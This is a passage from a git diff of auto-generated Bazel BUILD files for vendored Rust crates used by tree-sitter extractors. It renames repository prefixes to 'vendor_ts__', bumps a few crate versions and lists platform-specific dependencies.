+        "@rules_rust//rust/platform:aarch64-linux-android": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:i686-apple-darwin": [
+            "@vendor_ts__bitflags-2.8.0//:bitflags",  # cfg(target_os = "macos")
+            "@vendor_ts__fsevent-sys-4.1.0//:fsevent_sys",  # i686-apple-darwin
+        ],
+        "@rules_rust//rust/platform:i686-linux-android": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [
+            "@vendor_ts__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [
+            "@vendor_ts__bitflags-2.8.0//:bitflags",  # cfg(target_os = "macos")
+            "@vendor_ts__fsevent-sys-4.1.0//:fsevent_sys",  # x86_64-apple-darwin
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [
+            "@vendor_ts__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+        ],
+        "@rules_rust//rust/platform:x86_64-linux-android": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
+            "@vendor_ts__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__inotify-0.11.0//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-types-2.0.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-types-2.0.0.bazel
new file mode 100644
index 000000000000..2a58d2dd5730
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-types-2.0.0.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "notify_types",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=notify-types",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "2.0.0",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.nu-ansi-term-0.46.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.nu-ansi-term-0.46.0.bazel
index 654e4c1d4a55..96808381d753 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.nu-ansi-term-0.46.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.nu-ansi-term-0.46.0.bazel
@@ -81,16 +81,16 @@ rust_library(
     }),
     version = "0.46.0",
     deps = [
-        "@vendor__overload-0.1.1//:overload",
+        "@vendor_ts__overload-0.1.1//:overload",
     ] + select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
+            "@vendor_ts__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
+            "@vendor_ts__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
+            "@vendor_ts__winapi-0.3.9//:winapi",  # cfg(target_os = "windows")
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num-traits-0.2.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num-traits-0.2.19.bazel
index a9087f9167ce..96213437ade3 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num-traits-0.2.19.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num-traits-0.2.19.bazel
@@ -86,7 +86,7 @@ rust_library(
     }),
     version = "0.2.19",
     deps = [
-        "@vendor__num-traits-0.2.19//:build_script_build",
+        "@vendor_ts__num-traits-0.2.19//:build_script_build",
     ],
 )
 
@@ -142,7 +142,7 @@ cargo_build_script(
     version = "0.2.19",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__autocfg-1.4.0//:autocfg",
+        "@vendor_ts__autocfg-1.4.0//:autocfg",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num_cpus-1.16.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num_cpus-1.16.0.bazel
index 4e067f66eafa..ccbaed88173e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num_cpus-1.16.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.num_cpus-1.16.0.bazel
@@ -82,103 +82,103 @@ rust_library(
     version = "1.16.0",
     deps = select({
         "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:aarch64-unknown-uefi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:thumbv7em-none-eabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:wasm32-unknown-unknown": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:wasm32-wasip1": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-none": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-uefi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(not(windows))
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(not(windows))
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.2.bazel
deleted file mode 100644
index 03549cbfb504..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.2.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "once_cell",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "default",
-        "race",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=once_cell",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.20.2",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.3.bazel
new file mode 100644
index 000000000000..5b194f587bb8
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.once_cell-1.20.3.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "once_cell",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "race",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=once_cell",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.20.3",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.os_str_bytes-7.0.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.os_str_bytes-7.0.0.bazel
index afb6050d04e7..ea9024c51ced 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.os_str_bytes-7.0.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.os_str_bytes-7.0.0.bazel
@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "7.0.0",
     deps = [
-        "@vendor__memchr-2.7.4//:memchr",
+        "@vendor_ts__memchr-2.7.4//:memchr",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot-0.12.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot-0.12.3.bazel
index 93eb0e47dcc5..8dc49b684be5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot-0.12.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot-0.12.3.bazel
@@ -84,7 +84,7 @@ rust_library(
     }),
     version = "0.12.3",
     deps = [
-        "@vendor__lock_api-0.4.12//:lock_api",
-        "@vendor__parking_lot_core-0.9.10//:parking_lot_core",
+        "@vendor_ts__lock_api-0.4.12//:lock_api",
+        "@vendor_ts__parking_lot_core-0.9.10//:parking_lot_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot_core-0.9.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot_core-0.9.10.bazel
index 38b7fc7fc6f5..d53c706ee3cb 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot_core-0.9.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.parking_lot_core-0.9.10.bazel
@@ -82,90 +82,90 @@ rust_library(
     }),
     version = "0.9.10",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-        "@vendor__parking_lot_core-0.9.10//:build_script_build",
-        "@vendor__smallvec-1.13.2//:smallvec",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__parking_lot_core-0.9.10//:build_script_build",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
     ] + select({
         "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
